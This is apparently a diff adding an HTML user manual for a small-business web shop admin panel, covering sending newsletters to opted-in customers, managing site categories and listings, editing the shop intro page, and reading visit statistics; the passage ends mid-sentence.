+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Newsletter information</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see boxes that you can type text into.<I> </I></FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Title:
+Type the title for the newsletter.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Header:
+Type a more descriptive title.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Category:
+This should be &ldquo;Announcements&rdquo; or if you have created a
+special category for newsletters choose it.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Release
+Date: Choose the date that this newsletter will be released.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT FACE="Arial, sans-serif"><FONT SIZE=2>Description:
+Type the body of the newsletter in this box.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">New
+Image: You have the option to add one image related to the
+newsletter. When you click the browse button, it will open a file
+window that allows you to browse your computer and choose an image
+file to add. Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">These
+       image files should be no greater than 600 Pixels wide.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Insert</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and click the button at the
+bottom <BR>named &ldquo;<B>Insert</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+4: Make it ready to use</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have clicked &ldquo;<B>Insert</B>&rdquo; for your new newsletter
+it goes in the &ldquo;<B>Queued</B>&rdquo; section. This is for if
+you want to revise it or have someone look at it. When you&rsquo;re
+ready to use the newsletter click the option &ldquo;<B>Advance
+Queue</B>&rdquo;. This moved the newsletter from the &ldquo;<B>Queued</B>&rdquo;
+section to the &ldquo;<B>Current</B>&rdquo; section, meaning that it
+is ready to be sent. The old newsletters are placed in the &ldquo;<B>Archived</B>&rdquo;
+section. Customers can view the &ldquo;<B>Archived</B>&rdquo;
+newsletters simply by clicking a link on the newsletter webpage.  </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>SEND
+A NEWSLETTER</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Find People</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Contacts</B>&rdquo; on the top menu. Next you will see a
+form with allows you to find a customer.<I> See Contacts Figure 13.
+</I>For example, you wanted to send the newsletter to everyone who
+wants to receive e-mail from your business. Under the heading
+&ldquo;<B>Search:</B>&rdquo; check the bullet &ldquo;<B>All</B>&rdquo;
+to the option &ldquo;<B>In Fields</B>&rdquo;. Next choose &ldquo;<B>True</B>&rdquo;
+from the pull down menu &ldquo;<B>Mail OK</B>&rdquo;. Under the
+heading &ldquo;<B>Output of Records</B>&rdquo; again choose &ldquo;<B>All</B>&rdquo;
+to the option &ldquo;<B>Output Fields</B>&rdquo;. This will search
+the entire database for people who would like e-mail and will display
+all <BR>their information.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&ldquo;<FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Mail
+OK&rdquo;</B> &ndash; When &ldquo;<B>Mail OK</B>&rdquo; is set to
+&ldquo;<B>True</B>&rdquo;, it will find all the customers that would
+like to receive e-mail from us. When it is set to &ldquo;<B>False</B>&rdquo;,
+it will find all the customers who do not like to receive e-mail from
+us.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Send the Newsletter</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the selections are the same as above and click the button at
+the top named &ldquo;<B>Submit Query</B>&rdquo;. Next you will see a
+summary of what we want. Click &ldquo;<B>Send Query</B>&rdquo; Next
+you will see the entire list of people who would like to receive our
+e-mail. At the top of the list click the button named &ldquo;<B>Mail
+Out the Newsletter</B>&rdquo;. You then will get a confirmation
+question asking if you would like to mail out the newsletter. Click
+the button &ldquo;<B>OK</B>&rdquo; and the newsletter will be <BR>sent
+out.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">NOTE:
+This did not actually send the newsletter to everyone; it sends them
+an e-mail with a link to your newsletter on your website. The e-mail
+is called &ldquo;<B>Auto Response</B>&rdquo; and can be edited under
+the &ldquo;<B>Retail Newsletter</B>&rdquo; section. If a customer
+decides that they do not want to receive anymore newsletters, they
+can remove themselves by clicking a link in this e-mail.</FONT></FONT></P>
+<H1 CLASS="western" STYLE="page-break-before: always"><FONT COLOR="#808080">Media
+Toolbox</FONT></H1>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Categories
+are the sections of your website outside of the online shop, for
+example, About Us, Location, History. Using categories allows you to
+modify the pages and even add pages to your website. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A NEW CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Add New Category</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">A
+category is the section in which you introduce the visitor to the
+website. To add a category on your website click &ldquo;<B>Media
+Toolbox</B>&rdquo; on the top menu. Next you will see a list of
+categories, or sections of your website. S<I>ee Figure 14.</I> Click
+the link right above the title called <B>&ldquo;Add A <BR>New
+Category&rdquo;.</B></FONT></FONT></P>
+<P CLASS="western"> 
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Category Information</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next,
+you will see empty boxes where you can add text:<I> See Figure 15.</I></FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Name:
+       Type the name for the<BR> new webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Parent
+       Category: If the category you are adding to the Web site is a
+       sub-category, you will need to select a Parent Category. Otherwise
+       leave it as: &ldquo;<B>-No Parent-</B>&ldquo;.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Intro:
+       Type the heading for the webpage, it could be the same as the name
+       and it also could be a little more descriptive.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Description:
+       Type the text for <BR>the webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">New
+       Image: You have the option to add one image related to the category.
+       When you click the browse button, it will open a file window that
+       allows you to browse your computer and choose an image file to add.
+       Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+       </P>
+</UL>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>These
+       image files should be no greater than 600 Pixels wide</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Insert</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"> 
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have added all the information you would like on your new
+webpage, click the &ldquo;<B>Insert</B>&rdquo; button at the bottom
+of the page.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>To
+modify a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 14. </I>Click &ldquo;<B>Edit</B>&rdquo; next
+to the category you would like to modify. 
+<IMG SRC="ShoppingSuite_1.0_html_92c196b.jpg" NAME="Graphic15" ALIGN=BOTTOM WIDTH=263 HEIGHT=114 BORDER=0><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+14</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Modify Category Information</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about that category. All of the text
+in these boxes can be modified. For example, you can change the
+&ldquo;<B>Intro</B>&rdquo; to say: &ldquo;<B>New Summer Hours</B>&rdquo;
+and then change the &ldquo;<B>Description</B>&rdquo; and add the new
+summer hours. You could also change the title of the webpage, which
+is the &ldquo;<B>Name</B>&rdquo;. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have finished modifying the category, click the &ldquo;<B>Update</B>&rdquo;
+button at the bottom of the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_m28980d19.jpg" NAME="Graphic16" ALIGN=BOTTOM WIDTH=263 HEIGHT=222 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+15</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium; page-break-before: always">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>REMOVE
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">To
+remove a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 14. </I>Click &ldquo;<B>Edit</B>&rdquo; next
+to the category you would like to remove. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Remove</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about the category, verify that this
+is the category you would like to remove. Once you have done that
+click the &ldquo;<B>Delete</B>&rdquo; button at <BR>the bottom. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">NOTE:
+If you have any listings within that category, you must first delete
+those first, then proceed to delete the category.<BR></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>ADD
+A LISTING</B></FONT></FONT></P>
+<P STYLE="margin-top: 0.19in; margin-bottom: 0.19in; font-weight: medium">
+<FONT FACE="Arial Unicode MS, sans-serif"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><FONT COLOR="#000000">The
+listings are like paragraphs on your website. This is where you can
+add detailed contact information and upload multiple images, text,
+URL&rsquo;s and files. </FONT></FONT></FONT></FONT>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Choose a category for the listing</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category you would like to add the listing in. Click &ldquo;<B>Listings</B>&rdquo;
+next to that category.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Add the listing</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a page that could have previous listings on it, and it
+might not. Click &ldquo;<B>Add new Record</B>&rdquo; at the top.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Add Information</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a form that will allow you to add information about the
+new listing. Type in the information. For example, if you wanted to
+add a new employee to the contact page you could type in all their
+contact information in.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+4: Insert</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Insert</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A LISTING</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+1: Choose a category</FONT></FONT></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category the listing is in. Click &ldquo;<B>Listings</B>&rdquo; next
+to that category. Next you will see a list of all this listing in
+that category, find the listing you would like to edit, and click
+&ldquo;<B>Edit</B>&rdquo; next to it.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Edit the listing</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see the same form as when you added the listing. Edit the
+information that you want to change. </FONT></FONT>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+4: Update</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the information is correct and then click the button at the
+bottom <BR>named, &ldquo;<B>Update</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+THE SHOP INTRO PAGE</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Intro Page</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Media Tool Box</B>&rdquo; from the top menu. Then click
+&ldquo;<B>edit</B>&rdquo; next to the shop into page.</FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Modify</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a page with an image and several areas with text in
+them.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Delete
+the Current Image: If you would like to change the current image on
+your shop into page put a check in this box. Then under &ldquo;<B>Image
+1</B>&rdquo; when you click the browse button, it will open a file
+window that allows you to browse your computer and choose an image
+file to add. Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<OL>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>These
+       image files should be no greater than 600 Pixels wide</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</OL>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Header
+1: Type the header to the shop into page.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium">&#9679; <FONT SIZE=2><FONT FACE="Arial, sans-serif">Paragraph
+1: Type the body to the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update Page</B></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that the information you entered is correct, then click &ldquo;<B>Update
+Page</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Server
+Statistics</B></FONT></FONT></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Server
+statistics allows you to see how popular your website is. You can
+view how many people are visiting your site and where they are coming
+from and what they are typing in the search engines to get to <BR>your
+website.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><IMG SRC="ShoppingSuite_1.0_html_717383bd.jpg" NAME="Graphic17" ALIGN=BOTTOM WIDTH=263 HEIGHT=99 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+16</FONT></I></B></FONT></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><IMG SRC="ShoppingSuite_1.0_html_m45668104.jpg" NAME="Graphic18" ALIGN=BOTTOM WIDTH=264 HEIGHT=120 BORDER=0></P>
+<P CLASS="western" STYLE="font-weight: medium"><B><I><FONT SIZE=1 STYLE="font-size: 8pt"><FONT FACE="Arial, sans-serif">Figure
+17</FONT></FONT></I></B></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">HOW
+MANY VISITORS HAVE VISITED THE WEBSITE</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Sever Statistics</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><FONT COLOR="#ffffff">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Server Statistics</B>&rdquo; on the top menu, next you will
+see two graphs with server statistics. <I>See Figure 16, 17.</I> The
+second graph above is titled &ldquo;<B>Summary by Month</B>&rdquo;
+(<I>Figure 17</I>); this graph will show you a summary of visits per
+month, then an average per week in that month.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: The Numbers</B></FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><FONT COLOR="#ffffff">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>The
+numbers that we want are under the yellow label &ldquo;<B>Visits</B>&rdquo;.
+Visits are actual visitors viewing your site. In the example above
+during May 2003 this website received a daily average of 43 visits
+and a monthly total of 1,361. <B><I>Don&rsquo;t be mislead! </I></B>Many
+people think that &ldquo;<B>hits</B>&rdquo; is how popular your
+website is. A &ldquo;<B>hit</B>&rdquo; is a single request to the
+server for something on your website. For example, if a visitor
+visits your website which has five images on it, the &ldquo;<B>hits</B>&rdquo;
+will be five, but since its just one visitor, the &ldquo;<B>visits</B>&rdquo;
+will be one. Don&rsquo;t use hits, use visits!</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT COLOR="#808080">&#9658;</FONT>
+<B><FONT SIZE=2><FONT FACE="Arial, sans-serif">HOW VISITORS GOT TO
+THE WEBSITE</FONT></FONT></B></P>
+<P CLASS="western" STYLE="border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<BR>
+</P>
+<P CLASS="western" STYLE="border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT SIZE=2><FONT FACE="Arial, sans-serif">When visitors visit your
+website, the server can tell how they got there. For example, if you
+wanted to visit a website you would either type the website address
+in, search for it on a search engine or find another site that would
+link you to it such as a chamber of commerce website. The server
+would then memorize how you got to the website by using one of the
+three scenarios above and can report that information to you by
+completing the following steps:</FONT></FONT></P>
+<P CLASS="western" STYLE="border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<BR>
+</P>
+<P CLASS="western" STYLE="border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in">
+<FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step 1: Sever
+Statistics</B></FONT></FONT></P>
+<P CLASS="western" STYLE="border-top: 1px solid #000000; border-bottom: none; border-left: none; border-right: none; padding-top: 0.01in; padding-bottom: 0in; padding-left: 0in; padding-right: 0in; font-weight: medium">
+<FONT COLOR="#ffffff"> <FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt">.</FONT></FONT><FONT SIZE=2><BR></FONT></B><FONT SIZE=2>To
+view where your visitors came from, you must decide what month you
+want to view. Let&rsquo;s use May 2003 as an example. Click &ldquo;<B>Server
